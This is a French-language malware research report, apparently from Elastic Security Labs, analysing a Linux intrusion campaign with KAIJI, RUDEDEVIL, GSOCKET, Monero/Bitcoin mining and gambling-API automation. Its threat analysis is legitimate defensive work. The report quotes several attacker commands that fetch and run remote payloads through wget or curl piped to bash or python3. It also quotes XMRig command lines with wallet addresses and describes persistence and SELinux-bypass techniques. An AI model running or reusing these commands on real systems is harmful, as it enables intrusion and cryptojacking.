Parier sur les bots : Enquête sur les logiciels malveillants Linux, le minage de crypto-monnaie et l'abus d'API de jeux d'argent

Introduction

Ces derniers mois, Elastic Security Labs a découvert une campagne sophistiquée de logiciels malveillants sous Linux ciblant les serveurs vulnérables. Les attaquants ont commencé la compromission en mars 2024 en exploitant un serveur web Apache2. En obtenant un accès initial, les acteurs de la menace ont déployé un ensemble d'intrusions complexes pour établir la persistance et étendre leur contrôle sur l'hôte compromis.

Les auteurs de la menace ont utilisé un mélange d'outils et de logiciels malveillants, notamment des canaux C2 déguisés en processus du noyau, des robots de télégrammes pour la communication et des tâches cron pour l'exécution de tâches programmées. Ils ont notamment déployé plusieurs familles de logiciels malveillants, telles que KAIJI et RUDEDEVIL, ainsi que des logiciels malveillants conçus sur mesure. KAIJI, connu pour ses capacités DDoS, et RUDEDEVIL, un mineur de crypto-monnaie, ont été utilisés pour exploiter les ressources du système à des fins malveillantes.

Notre enquête a révélé un schéma potentiel de minage de Bitcoin/XMR qui exploite les API de jeu, ce qui suggère que les attaquants pourraient mener des activités de blanchiment d'argent en utilisant des hôtes compromis. Nous avons également eu accès à un partage de fichiers qui hébergeait quotidiennement de nouveaux échantillons de KAIJI avec des hachages inédits, ce qui indique un développement et une adaptation actifs de la part des auteurs du logiciel malveillant.

Cette publication de recherche se penche sur les détails de la campagne et fournit une analyse complète des tactiques, des techniques et des procédures des attaquants. Nous étudions la manière dont ils ont établi l'accès initial, les méthodes utilisées pour la persistance et l'escalade des privilèges, ainsi que les logiciels malveillants déployés à chaque étape. En outre, nous examinons l'infrastructure de commande et de contrôle, y compris l'utilisation de GSOCKET et de Telegram pour les communications furtives.

Flux d'exécution

Accès initial

Notre équipe a observé un hôte qui a été initialement compromis en mars 2024 en obtenant l'exécution de code arbitraire sur un serveur exécutant Apache2. La preuve de cette compromission est l'exécution de la commande id via le processus Apache2, après quoi l'auteur de la menace exploite le serveur web et déploie le logiciel malveillant KAIJI sous le compte d'utilisateur www-data.

Peu après le déploiement de Kaiji, l'attaquant a utilisé le compte www-data pour télécharger un script nommé 00.sh à partir de l'URL http://61.160.194[.]160:35130, qui, après un examen plus approfondi, hébergeait également plusieurs versions du logiciel malveillant RUDEDEVIL.

00.sh est un stager qui :

• Définit son shell et son PATH par défaut.
• Supprime plusieurs fichiers journaux pour effacer les traces de l'exécution.
• Utilise ps, netstat, lsof et une liste de noms de processus miniers courants pour éliminer toute concurrence minière potentielle sur l'hôte compromis.
• Efface les règles iptables sur l'hôte, définit plusieurs règles iptables pour bloquer les connexions vers des ports de destination et des pools miniers spécifiques, et désactive iptables.
• Enfin, une deuxième étape (sss6/sss68) est téléchargée et exécutée, et les traces d'exécution sont effacées.

La figure ci-dessous montre une version comprimée du stager. Les lignes annotées par [...] sont raccourcies pour améliorer la lisibilité.

Serveur de fichiers

Par l'intermédiaire du processus du serveur web piraté, l'attaquant a téléchargé et exécuté un logiciel malveillant à l'aide de la commande suivante :

sh -c wget http://107.178.101[.]245:5488/l64;chmod 777 l64;./l64;rm -r l64;wget http://107.178.101[.]245:5488/l86;chmod 777 l86;./l86;rm -r l86

Les fichiers l64 et l86 sont téléchargés à partir de http://107.178.101[.]245:5488, après quoi ils bénéficient de toutes les autorisations, sont exécutés et supprimés. En examinant le serveur qui héberge ces échantillons de logiciels malveillants, nous constatons ce qui suit :

Il semble s'agir d'un serveur de fichiers, hébergeant plusieurs types de logiciels malveillants pour différentes architectures. Le serveur de fichiers s'appuie sur la technologie Rejetto. Ces logiciels malveillants ont des dates de chargement et des compteurs de téléchargement. Par exemple, le fichier download.sh qui a été téléchargé le 10 septembre a déjà été téléchargé 3 100 fois.

RUDEDEVIL/LUCIFER

Après un examen plus approfondi, le fichier sss6, qui a été téléchargé et exécuté, a été identifié comme étant le logiciel malveillant RUDEDEVIL. Au début du processus d'exécution, nous rencontrons un message intégré caractéristique de cette famille de logiciels malveillants :

Hi, man. I\'ve seen several organizations report my Trojan recently, 
Please let me go. I want to buy a car. That\'s all. I don\'t want to hurt others. 
I can\'t help it. My family is very poor. In China, it\'s hard to buy a suite. 
I don\'t have any accommodation. I don\'t want to do anything illegal. 
Really, really, interested, you can give me XmR, my address is 42cjpfp1jJ6pxv4cbjxbbrmhp9yuzsxh6v5kevp7xzngklnutnzqvu9bhxsqbemstvdwymnsysietq5vubezyfoq4ft4ptc, 
thank yo

Nous constatons que les fichiers l64 et l86 hébergés sur le serveur de fichiers contiennent le même logiciel malveillant. L'analyse du flux d'exécution du logiciel malveillant montre que la fonction principale du logiciel malveillant exécute plusieurs tâches essentielles :

• Initialisation du démon : Le processus est converti en démon à l'aide de daemon(1, 0).
• Création de sockets : Une socket est créée et liée à un port spécifique.
• Traitement des signaux : Des gestionnaires de signaux personnalisés sont mis en place pour différents signaux.
• Initialisation des services : Plusieurs services sont lancés à l'aide de SetFILE.
• Gestion des privilèges : Il vérifie les privilèges de l'utilisateur root et ajuste les limites de ressources en conséquence.
• Décryptage : Le logiciel malveillant déchiffre ses blobs de configuration.
• Création de threads : Plusieurs threads sont créés pour des tâches telles que l'exploitation minière, l'élimination des processus et la surveillance de l'utilisation du réseau et de l'unité centrale.
• Boucle principale : Le programme entre dans une boucle infinie où il se connecte de manière répétée à un serveur et dort pendant une durée déterminée.

En examinant la routine de cryptage, nous constatons qu'elle utilise un codage basé sur le XOR :

Pour décoder le contenu de manière statique, nous avons développé un extrait Python de base :

def DecryptData(data_block, encryption_key):
   key_modifier = encryption_key & 0xFF
   key_index = key_modifier // 0x5F  # 0x5F = 95 in decimal
   modifier = (key_modifier - (key_index * 0x5F)) + 0x58  # 0x58 = 88 in decimal

   for i in range(len(data_block)):
       data_block[i] ^= modifier
       data_block[i] &= 0xFF  # Ensure 8-bit value
       data_block[i] += modifier
       data_block[i] &= 0xFF  # Ensure 8-bit value

   return data_block

# Encoded data as hex strings
encoded_data = [
   '4c494356515049490c467978',
   '0d4f1e4342405142454d0b42534e380f0f5145424f0c53034e4f4f4a0c4f40573801393939391e0d451e020141303727222026254f252d372643400706314955032a593330233237587951215553552d464c0101414939514401515258414324273340254756564741404207004122782d50475555412d503106394d4c34554e48513926352054362a1e0d4e1e20',
   '0f424d4e0f435536575649484b',
   '5642424e380f0f5654430c42014a494c45460c534f4d38070602050f435352434356544b',
]

encryption_key = 0x03FF  # 1023 in decimal

# Process and decrypt each encoded data string
for data in encoded_data:
   # Convert hex string to list of integers
   data_bytes = bytes.fromhex(data)
   data_block = list(data_bytes)

   # Decrypt the data
   decrypted_block = DecryptData(data_block, encryption_key)

   # Convert decrypted data back to bytes
   decrypted_bytes = bytes(decrypted_block)
   print("Decrypted text:", decrypted_bytes.decode('utf-8', errors='ignore'))

Après avoir décodé la configuration, les valeurs suivantes sont révélées :

• La première valeur du domaine C2 nishabii[.]xyz.
• La deuxième valeur indique les options qui seront transmises à XMRIG.
• La troisième valeur indique l'emplacement du fichier temporaire utilisé par le logiciel malveillant.
• La quatrième et dernière chaîne indique l'emplacement de téléchargement du binaire XMRIG.

Gestion des fils de discussion dans le logiciel malveillant

Le logiciel malveillant lance plusieurs threads pour gérer ses principales opérations. Examinons en détail le fonctionnement de certaines de ces fonctions.

Comprendre la fonction KillPid

L'un des threads exécute la fonction KillPid, qui est conçue pour surveiller et gérer en permanence les processus. La fonction commence par détacher le fil d'exécution en cours, ce qui lui permet de fonctionner en arrière-plan sans bloquer d'autres processus. Il entre ensuite dans une boucle infinie, exécutant ses tâches de manière répétée.

Au cœur de sa fonctionnalité se trouve un tableau appelé sb_name, qui contient les noms des processus que le logiciel malveillant souhaite interrompre.

Toutes les deux secondes, la fonction vérifie si le système contient des processus répertoriés dans ce tableau et récupère leurs identifiants de processus (PID) à l'aide d'une fonction d'aide appelée getPidByName. Après chaque itération, il passe au processus suivant de la liste, en veillant à ce que tous les processus de sb_name soient traités.

Il est intéressant de noter qu'après avoir traité tous les éléments du tableau, la fonction entre en veille prolongée pendant 600 secondes - environ 10 minutes - avant de reprendre ses vérifications. Cette période de veille prolongée est probablement mise en œuvre pour préserver les ressources du système, en veillant à ce que le logiciel malveillant ne consomme pas trop de temps processeur lors de la surveillance des processus.

Comprendre la fonction Get_Net_Messages

Un autre fil conducteur essentiel est chargé de surveiller le trafic réseau, en se concentrant plus particulièrement sur l'interface réseau eth0. Cette fonctionnalité est gérée par la fonction getOutRates. La fonction commence par configurer les variables nécessaires et ouvre le fichier /proc/net/dev, qui contient des statistiques de réseau détaillées pour chaque interface.

Si le fichier est ouvert avec succès, le logiciel malveillant lit un bloc de données (jusqu'à 1024 octets) et le traite pour en extraire les statistiques réseau pertinentes. Il recherche spécifiquement l'interface eth0, en analysant les données de taux de sortie à l'aide d'une méthode standard d'analyse de chaîne. En cas de succès, la fonction renvoie le taux de sortie pour eth0; dans le cas contraire, elle renvoie 0, ce qui garantit que le logiciel malveillant continue à fonctionner même en cas d'erreur.

Cette routine permet au logiciel malveillant de surveiller discrètement l'activité du réseau de la machine infectée, et probablement de suivre les données envoyées ou reçues par l'intermédiaire de l'interface.

Comprendre la fonction Get_Cpu_Message

Pour surveiller le processeur, le logiciel malveillant utilise la fonction GetCpuRates. Cette fonction surveille en permanence l'utilisation de l'unité centrale en lisant les données sur /proc/stat. De la même manière que pour les données du réseau, les statistiques de l'unité centrale sont lues et analysées, ce qui permet au logiciel malveillant de calculer l'utilisation de l'unité centrale du système.

La fonction fonctionne dans une boucle infinie, dormant pendant une seconde entre chaque itération pour éviter de surcharger le système. Si le fichier ne peut pas être ouvert pour une raison quelconque, la fonction enregistre une erreur et se termine de manière élégante. Cependant, tant qu'il est en mesure de lire le fichier, il surveille continuellement l'utilisation du processeur, s'assurant ainsi que le logiciel malveillant reste conscient des performances du système.

Comprendre la fonction Send_Host_Message

Le fil le plus critique est peut-être celui qui est responsable de l'envoi d'informations sur le système aux opérateurs de logiciels malveillants. La fonction _SendInfo s'acquitte de cette tâche en recueillant des données sur l'utilisation du processeur et du réseau du système infecté. Il commence par mettre en place des tampons et prépare les chemins d'accès aux fichiers afin de recueillir les données nécessaires. En fonction de l'état du système, il formate l'utilisation du CPU et du réseau dans une chaîne de caractères.

En outre, la fonction vérifie si un processus particulier est en cours d'exécution sur le système et adapte son message formaté en conséquence. Enfin, il renvoie ces données formatées au serveur de commande et de contrôle par l'intermédiaire d'une connexion de type "socket".

Essentiellement, cette fonction permet au logiciel malveillant de surveiller à distance la machine infectée, en recueillant des informations clés telles que la charge du processeur et l'activité du réseau. Les opérateurs peuvent utiliser ces informations pour évaluer l'état de leur infection et adapter leurs activités si nécessaire.

Connexion au serveur de commande et de contrôle (C2)

Une fois que tous les fils sont opérationnels, le logiciel malveillant se concentre sur l'établissement d'une connexion avec son serveur C2. Elle est gérée par la fonction ConnectServer dans le thread principal, qui s'occupe de la communication avec le serveur et exécute les commandes à distance.

Comprendre la fonction ConnectServer

La première tâche de la fonction ConnectServer consiste à établir une connexion avec le serveur C2 à l'aide de ServerConnectCli. Après avoir réussi à se connecter, le logiciel malveillant configure le socket pour activer les paramètres de maintien de la connexion, ce qui garantit que la connexion reste stable pendant de longues périodes.

Une fois la connexion établie, le logiciel malveillant recueille diverses informations sur le système, notamment le nom d'hôte, les informations sur l'utilisateur, les spécifications du processeur et les détails de la mémoire. Ces informations sont ensuite envoyées au serveur sous forme de données initiales, ce qui permet aux attaquants d'avoir une vue détaillée de la machine infectée.

Après cette configuration initiale, le logiciel malveillant entre dans une boucle permanente où il attend et traite les commandes du serveur. Les types de commandes traitées sont variés et peuvent inclure des tâches telles que le lancement d'une attaque DDoS, l'arrêt ou le démarrage d'opérations à forte intensité de CPU, l'exécution de commandes système ou la gestion d'activités de minage de crypto-monnaie. La boucle se poursuit indéfiniment, garantissant que le logiciel malveillant est prêt à exécuter toute commande envoyée par ses opérateurs.

Lorsque la connexion n'est plus nécessaire, ou lorsque le logiciel malveillant reçoit une commande d'interruption, il ferme la socket de manière élégante, mettant ainsi fin à la session avec le serveur.

Commandes de commande et de contrôle (C2)

La fonction ConnectServer traite une série de commandes provenant du serveur C2, chacune étant conçue pour contrôler un aspect différent du système infecté. Voici un aperçu des commandes gérées par le logiciel malveillant :

• Cas 4 : le logiciel malveillant appelle la fonction DealwithDDoS, lançant probablement une attaque par déni de service distribué (DDoS).
• Cas 5 : le site StopFlag est réglé sur 1, ce qui peut indiquer au logiciel malveillant d'arrêter certaines tâches.
• Cas 6 : télécharge un fichier depuis le serveur à l'aide de http_get, modifie ses autorisations, puis l'exécute. Cette commande permet aux attaquants d'exécuter des logiciels malveillants ou des scripts supplémentaires sur la machine infectée.
• Cas 7 : Exécution d'une commande système à l'aide de la fonction system, ce qui permet aux attaquants de contrôler directement la ligne de commande du système.
• Cas 8 : Définit StopCpu comme 0, redémarrant toutes les tâches de l'unité centrale précédemment arrêtées.
• Cas 9 : Définit StopCpu sur 1, ce qui arrête toutes les tâches de l'unité centrale.
• Cas 0xA : met à jour la configuration de l'unité centrale de minage avec de nouvelles données et récupère le PID du processus en cours, ce qui permet au logiciel malveillant de modifier ses opérations de minage de crypto-monnaie.
• Cas 0xB : Définit stopxmr à 1, arrêtant ainsi le mineur XMRIG.
• Cas 0xC : Réinitialise stopxmr sur 0 et récupère le PID du processus en cours, ce qui permet de reprendre l'activité minière.

Chaque commande permet aux opérateurs de logiciels malveillants de contrôler avec précision le comportement de la machine infectée, qu'il s'agisse de participer à une attaque DDoS, d'exécuter de nouveaux logiciels malveillants ou de gérer des opérations de minage.

Variantes du logiciel malveillant RUDEDEVIL et configuration XMRIG

Alors que le serveur de fichiers mentionné précédemment était actif, nous avons observé le téléchargement de plusieurs versions du logiciel malveillant RUDEDEVIL. Les fonctionnalités de base de ces versions sont restées largement les mêmes, la seule variation significative étant les commandes XMRIG intégrées utilisées pour le minage de crypto-monnaies.

Chaque version du logiciel malveillant a été configurée pour se connecter au même pool minier, c3pool.org, mais avec de légères différences dans les paramètres transmis au mineur XMRIG :

• -o stratum+tcp://auto.c3pool[.]org:19999 -u 41qBGWTRXUoUMGXsr78Aie3LYCBSDGZyaQeceMxn11qi9av1adZqsVWCrUwhhwqrt72qTzMbweeqMbA89mnFepja9XERfHL -p R
• -o stratum+tcp://auto.c3pool[.]org:19999 -u 41qBGWTRXUoUMGXsr78Aie3LYCBSDGZyaQeceMxn11qi9av1adZqsVWCrUwhhwqrt72qTzMbweeqMbA89mnFepja9XERfHL -p 2
• -o stratum+tcp://auto.c3pool[.]org:19999 -u 41qBGWTRXUoUMGXsr78Aie3LYCBSDGZyaQeceMxn11qi9av1adZqsVWCrUwhhwqrt72qTzMbweeqMbA89mnFepja9XERfHL -p php
• -o stratum+tcp://auto.c3pool[.]org:19999 -u 42CJPfp1jJ6PXv4cbjXbBRMhp9YUZsXH6V5kEvp7XzNGKLnuTNZQVU9bhxsqBEMstvDwymNSysietQ5VubezYfoq4fT4Ptc -p 0

Chacune de ces commandes demande au mineur de se connecter au même pool minier, mais en spécifiant des portefeuilles ou des configurations différents. En examinant l'application c3pool, nous avons confirmé que les deux adresses XMR associées à ces commandes sont actuellement actives et exploitées.

En outre, cette analyse nous a permis d'estimer le bénéfice total généré par ces deux campagnes de minage, soulignant ainsi l'impact financier du malware RUDEDEVIL et son lien avec les opérations illégales de minage de crypto-monnaies.

GSOCKET

Pour établir la persistance, l'acteur de la menace a téléchargé et installé GSOCKET, un utilitaire réseau conçu pour permettre une communication cryptée entre des machines situées derrière des pare-feux ou des NAT. GSOCKET crée des connexions sécurisées et persistantes par l'intermédiaire du Global Socket Relay Network (GSRN). Cet outil open-source comprend des fonctionnalités telles que le chiffrement AES-256, la prise en charge de la sécurité des communications de bout en bout et la compatibilité avec SSH, netcat et TOR, qui permettent des transferts de fichiers chiffrés, l'exécution de commandes à distance et même la création de services cachés.

Bien que GSOCKET ne soit pas intrinsèquement malveillant, ses caractéristiques peuvent être exploitées à des fins suspectes.

Une fois déployé, GSOCKET effectue plusieurs actions pour maintenir sa persistance et dissimuler sa présence. Tout d'abord, il vérifie si le système contient des processus actifs du noyau afin de déterminer le processus sous lequel il se fera passer :

Il crée ensuite le répertoire /dev/shm/.gs-1000 pour télécharger et stocker son binaire dans la mémoire partagée. De plus, par défaut, il crée un répertoire /htop sous /home/user/.config/htop/ pour stocker à la fois le binaire GSOCKET et la clé secrète utilisée pour ses opérations.

Ensuite, une tâche cron qui exécute le binaire GSOCKET avec la clé secrète toutes les minutes est mise en place.

Le binaire est exécuté sous le nom d'un processus du noyau à l'aide de la commande exec -a [process_name], ce qui permet d'échapper à la détection. La tâche cron comprend une commande codée en base64 qui, une fois décodée, garantit que le mécanisme de persistance est régulièrement exécuté et déguisé en processus légitime du noyau :

Lors du décodage de la charge utile, nous constatons que la clé secrète defunct.dat est utilisée comme argument pour exécuter le binaire defunct, qui se fait passer pour [raid5wq] grâce à la commande exec -a :

En plus d'utiliser des tâches cron, GSOCKET a la capacité d'établir la persistance par la modification du profil du shell, le contrôle d'exécution (rc.local) et Systemd. GSOCKET énumère les emplacements de persistance potentiels :

GSOCKET prend en charge plusieurs webhooks, tels que les intégrations Telegram ou Discord, permettant le contrôle à distance et les notifications :

Enfin, après l'installation, GSOCKET veille à ce que tous les fichiers créés ou modifiés soient temporisés pour tenter d'effacer toute trace de l'installation :

Ces caractéristiques font de GSOCKET un outil attrayant pour les acteurs de la menace qui recherchent la furtivité et la persistance. Dans cette campagne, GSOCKET a été exploité pour établir des canaux secrets vers les serveurs C2 tout en essayant d'échapper à la détection.

En outre, une charge utile PHP a été récupérée à partir d'une adresse IP externe et enregistrée à l'adresse 404.php, fonctionnant probablement comme une porte dérobée pour un accès ultérieur. Nous n'avons pas réussi à obtenir cette charge utile.

Temps de séjour après le compromis

Après une période de silence de trois semaines sans activité notable, les auteurs de la menace ont repris leurs opérations en utilisant le logiciel intégré Python3 pour établir une connexion inverse avec un nouveau serveur de commande et de contrôle.

Après avoir récupéré l'accès à l'hôte, une nouvelle version du logiciel malveillant KAIJI a été déployée.

Logiciel malveillant KAIJI : comparaison avec les échantillons précédents

En examinant les fichiers sur le serveur de fichiers découvert, nous avons vu un script shell. Ce script shell semble être le fichier principal utilisé pour le téléchargement à un stade antérieur, ce qui permet de s'assurer que l'architecture correcte de la victime est utilisée.

Le même script Shell se retrouve dans d'autres rapports où ce script est utilisé pour déployer KAIJI.

Dans le cadre de notre enquête, nous avons analysé les échantillons de logiciels malveillants KAIJI trouvés sur le serveur de fichiers et les avons comparés aux échantillons identifiés par Black Lotus Labs en 2022. Vous trouverez leur analyse détaillée de Chaos (KAIJI) dans leur billet de blog ici.

À l'aide de BinDiff, un outil de comparaison de binaires, nous avons comparé les fonctions des binaires. L'analyse a révélé que le code de notre échantillon était identique à l'échantillon KAIJI de 2022 identifié précédemment.

Bien que le code soit identique, une différence essentielle est apparue : l'adresse du serveur C2. Bien que la fonctionnalité soit restée la même dans les deux binaires, ils pointaient vers des domaines C2 différents.

En approfondissant le désassemblage, nous avons identifié une fonction nommée main_Link. Cette fonction est chargée de décoder l'adresse du serveur C2 utilisé par le logiciel malveillant.

Une fois décodée, la fonction recherche le postfixe |(odk)/*- dans l'adresse et le supprime, ne laissant que le domaine et le port C2. Ce processus garantit que le logiciel malveillant peut communiquer avec son serveur C2, bien que l'adresse qu'il contacte puisse changer d'un échantillon à l'autre.

Étant donné que certaines ressources ont été publiées pour effectuer une rétro-ingénierie statique de KAIJI, nous allons plutôt examiner plus en détail ses comportements.

Après son exécution, KAIJI crée plusieurs fichiers dans les répertoires /etc/ et /dev/, /etc/id.services.conf, /etc/32678, /dev/.img et /dev/.old. Ces scripts permettent d'établir la persistance.

Deux services sont mis en place, /etc/init.d/linux_kill et crond.service. crond.service est exécuté par Systemd, tandis que linux_kill est utilisé pour la persistance de SysVinit.

Après avoir rechargé le démon Systemd, la première connexion réseau au C2 est tentée.

Ensuite, le fichier de service Systemd Late generator est créé. Vous trouverez plus d'informations sur le fonctionnement de Systemd et sur les différentes manières d'établir la persistance par cette méthode dans notre récente série de blogs intitulée Linux Detection Engineering - A primer on persistence mechanisms (Ingénierie de détection Linux - Une introduction aux mécanismes de persistance).

KAIJI crée le fichier /boot/System.img.config, qui est un exécutable exécuté par les services Systemd précédemment déployés. Ce binaire est, parmi d'autres binaires, une autre façon d'établir la persistance.

Ensuite, KAIJI ajuste les politiques de SELinux pour permettre les actions non autorisées. Il recherche dans les journaux d'audit les opérations refusées liées à System.img.conf, génère une nouvelle stratégie SELinux pour autoriser ces actions et installe la stratégie avec une priorité élevée. Ce faisant, le logiciel malveillant contourne les restrictions de sécurité qui bloqueraient normalement son activité.

En outre, il met en place plusieurs formes supplémentaires de persistance par le biais de profils bash et crée deux autres artefacts malveillants : /usr/lib/libd1rpcld.so et /.img.

Juste après, /etc/crontab est modifié par une commande echo, ce qui garantit que le fichier /.img est exécuté par root selon un calendrier défini.

KAIJI continue de déplacer plusieurs binaires du système par défaut vers des emplacements inhabituels, en tentant d'échapper à la détection en cours de route.

KAIJI utilise la commande renice pour accorder au PID 2957, l'un des exécutables plantés par KAIJI, la priorité la plus élevée possible (sur une échelle de -20 à 19, la priorité la plus basse étant la plus élevée), ce qui garantit qu'il obtiendra plus de ressources CPU que les autres processus.

Pour échapper à la détection, KAIJI a utilisé la technique bind mount, une méthode d'évasion de défense qui masque les activités malveillantes en manipulant la façon dont les répertoires sont montés et visualisés dans le système.

Enfin, nous voyons une trace de cron exécutant le fichier /.img, qui a été placé dans le fichier /etc/crontab plus tôt.

La saga continue

Deux semaines plus tard, la porte dérobée d'Apache est redevenue active. Une autre porte dérobée a été téléchargée par l'utilisateur www-data via le processus Apache2 à l'aide de la commande :

sh -c wget http://91.92.241[.]103:8002/gk.php

Le contenu de cette charge utile reste inconnu. À ce stade, nous avons observé des tentatives d'escalade manuelle des privilèges, les attaquants déployant pspy64. Pspy est un outil en ligne de commande qui permet d'espionner les processus sur les systèmes Linux sans nécessiter les autorisations de l'administrateur (root). Il surveille les processus en cours, y compris ceux lancés par d'autres utilisateurs, et capture les événements tels que les exécutions de tâches cron. Cet outil est particulièrement utile pour analyser l'activité du système, repérer les tentatives d'escalade des privilèges et auditer en temps réel les commandes et les interactions avec le système de fichiers déclenchées par les processus. Les attaquants s'en servent généralement pour faire de la reconnaissance dans des scénarios post-compromission, ce qui leur permet d'avoir une visibilité sur les tâches du système et les vulnérabilités potentielles.

Notamment, pspy64 a été exécuté par le parent [rcu_preempt], ce qui indique que les auteurs de la menace sont passés de l'utilisation de la porte dérobée du serveur web à celle de la porte dérobée GSOCKET.

D'autres tentatives d'escalade des privilèges ont consisté à exploiter CVE-2021-4034, également connu sous le nom de pwnkit. Cette vulnérabilité affecte le composant pkexec du paquetage PolicyKit dans les systèmes Linux, ce qui permet à un utilisateur non privilégié d'exécuter du code arbitraire avec les privilèges de l'administrateur. En exploitant cette faille, un attaquant peut obtenir un accès élevé au système, ce qui peut lui permettre de prendre le contrôle total de la machine concernée.

Binaires personnalisés

Juste après, les attaquants ont tenté de télécharger un logiciel malveillant personnalisé nommé apache2 et apache2v86:

• http://62.72.22[.]91/apache2
• http://62.72.22[.]91/apache2v86

Nous avons obtenu des copies de ces fichiers, qui n'ont actuellement aucune détection sur VirusTotal. Cependant, lors de leur exécution dynamique, nous avons observé des erreurs de segmentation, et notre télémétrie a confirmé l'activité des erreurs de segmentation sur l'hôte compromis. En l'espace d'une semaine, l'auteur de la menace a tenté de modifier, de télécharger et d'exécuter ces binaires plus de 15 fois, mais en raison d'erreurs de segmentation répétées, il est peu probable qu'il soit parvenu à exécuter ce logiciel malveillant personnalisé.

Bien que les binaires ne se soient pas exécutés, ils ont tout de même fourni des informations précieuses lors de la rétro-ingénierie. Nous avons découvert plusieurs chaînes codées XOR dans les échantillons.

La clé XOR utilisée pour coder les chaînes a été identifiée comme étant 0x79 (ou le caractère y). Après avoir décodé les chaînes, nous avons découvert des fragments d'un en-tête de requête HTTP que le logiciel malveillant tentait de construire :

/934d9091-c90f-4edf-8b18-d44721ba2cdc HTTP/1.1
sec-ch-ua: "Chromium";v="122", "Google Chrome";v="122", "Not-A.Brand";v="99
sec-ch-ua-platform: "Windows"
upgrade-insecure-requests: 1
accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
referer: https://twitter[.]com
accept-language: ru,en-US;q=0.9
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.

Cela indique que le logiciel malveillant était en train de construire des requêtes HTTP. Toutefois, compte tenu de la nature incomplète des en-têtes et des échecs répétés de l'exécution, il est clair que ce logiciel n'était pas encore entièrement développé ou opérationnel.

Reconnaissance supplémentaire

Les attaquants ont continué à utiliser les outils de The Hacker's Choice, en téléchargeant et en exécutant des . whatserver.sh.

Ce script Shell est conçu pour collecter et afficher des informations sur le serveur. Il extrait des détails tels que les noms de domaine pleinement qualifiés (FQDN) des certificats SSL, des fichiers de configuration de Nginx et d'Apache, ainsi que des informations sur les ressources du système telles que l'utilisation du processeur et de la mémoire, les détails de la virtualisation et les paramètres du réseau. Le script peut également résumer les activités récentes, y compris les derniers utilisateurs connectés et les services en cours d'écoute.

Activités minières

Après près de deux semaines de tentatives d'exploitation manuelle, les auteurs de la menace ont cessé leurs efforts d'escalade des privilèges, n'ayant probablement pas réussi à obtenir l'accès à la racine. Au lieu de cela, ils ont établi une persistance en tant qu'utilisateur www-data, en utilisant GSOCKET pour établir une connexion SSL, qui était déguisée en un processus du noyau appelé [mm_percpu_wq].

Après avoir décodé le contenu base64, nous obtenons un résultat très familier :

Grâce à nos règles comportementales, nous constatons que l'acteur de la menace énumère les entrées de la crontab de l'utilisateur actuel et envoie une charge utile directement dans la crontab.

Cette commande tente de télécharger http://gcp.pagaelrescate[.]com:8080/ifindyou toutes les minutes, et de l'envoyer à bash. En regardant le contenu de ifindyou, nous voyons le script Bash suivant :

Ce script recueille les informations relatives au nom d'hôte et à l'adresse IP, télécharge l'archive SystemdXC à partir de http://gcp.pagaelrescate[.]com:8080/t9r/SystemdXC (XMRIG), la stocke dans /tmp/SystemdXC, extrait l'archive et l'exécute avec les paramètres nécessaires pour commencer à miner des bitcoins.

En examinant la commande de minage, nous pouvons voir comment le logiciel malveillant configure XMRIG :

Cette commande permet de se connecter au pool minier unmineable.com, en utilisant le nom d'hôte de la machine infectée comme identifiant dans le processus de minage. À l'heure où nous écrivons ces lignes, il y a 15 travailleurs actifs qui minent des bitcoins pour l'adresse de portefeuille 1CSUkd5FZMis5NDauKLDkcpvvgV1zrBCBz.

Après une enquête plus approfondie sur l'adresse Bitcoin, nous avons constaté que cette adresse n'avait effectué qu'une seule transaction.

Il est intéressant de noter que l'adresse de sortie de cette transaction pointe vers un hot wallet bien connu associé à Binance, ce qui indique que les attaquants ont peut-être transféré leurs revenus miniers vers une plateforme d'échange.

Lorsque nous revenons au script, nous voyons également deux commandes commentées, qui deviendront plus claires par la suite. Le script s'exécute :

curl -s http://gcp.pagaelrescate[.]com:8080/cycnet | bash

En examinant cette charge utile, nous pouvons voir le contenu suivant :

Cette étape vérifie la sortie de la commande et l'envoie à un robot de conversation Telegram. Grâce à notre règle comportementale Telegram, nous pouvons voir qu'une requête POST Telegram ressemble à ceci :

Le job cron mis en place à cette étape s'exécute à la minute 0, toutes les 4 heures. Ce travail s'exécute :

curl -s http://gcp.pagaelrescate[.]com:8080/testslot/enviador_slot | python3

Le script Python téléchargé automatise les interactions avec un jeu d'argent en ligne par le biais de requêtes HTTP. Le script comprend des fonctions qui gèrent l'authentification de l'utilisateur, les paris, le traitement des résultats et l'envoi des données à un serveur distant.

Après un examen plus approfondi, nous avons identifié les éléments clés suivants du scénario :

Variables globales :

• usuario: Enregistre l'identifiant de l'utilisateur pour la gestion de la session.
• apuesta: Représente le montant de la mise.
• ganancias: Suivi des gains et des pertes.
• saldo_actual: Indique le solde du compte courant.

Comprendre la fonction obteneruid

Cette fonction authentifie l'utilisateur en envoyant une requête POST avec les en-têtes nécessaires et des données JSON au serveur distant. Si l'utilisateur n'est pas déjà défini, il initialise une nouvelle session et récupère le solde du compte. En cas d'authentification réussie, il renvoie un UUID de session, qui est utilisé pour les interactions ultérieures dans le jeu.

Comprendre la fonction enviardatos

Cette fonction envoie des données de jeu ou des mises à jour d'état à gcp.pagaelrescate[.]com, en enregistrant les résultats ou les actions effectuées pendant le jeu. Il utilise une simple requête GET pour transmettre ces données au serveur distant.

Comprendre la fonction hacerjugada

La fonction hacerjugada simule le processus de pari pour un nombre défini de tours. Il envoie des requêtes POST pour placer des paris, met à jour les gains ou les pertes après chaque tour et calcule les résultats globaux. Si un tour de bonus est déclenché, il appelle completarbono() pour gérer les détails du jeu de bonus. Entre chaque tour de mise, la fonction impose un délai de 30 secondes pour imiter le jeu naturel et éviter d'être détecté.

Comprendre la fonction completarbono

Lorsqu'un tour de bonus est déclenché, cette fonction termine le tour en envoyant une demande contenant l'ID de la session et l'ID du tour. En fonction du résultat, il met à jour le solde du compte et enregistre les gains ou les pertes. Toute modification du solde est renvoyée au serveur distant à l'aide de la fonction enviardatos().

Probablement utilisé à des fins de test

Il est important de noter que ce script est probablement utilisé à des fins de test, car il interagit avec la version de démonstration de l'application de jeu. Cela suggère que les attaquants pourraient tester l'automatisation des actions de jeu ou essayer de trouver des vulnérabilités dans l'application avant de passer à la version réelle. L'utilisation d'un environnement de démonstration implique qu'ils affinent leur approche, peut-être en préparation d'attaques plus sophistiquées ou plus étendues.

REF6138 par MITRE ATT&CK

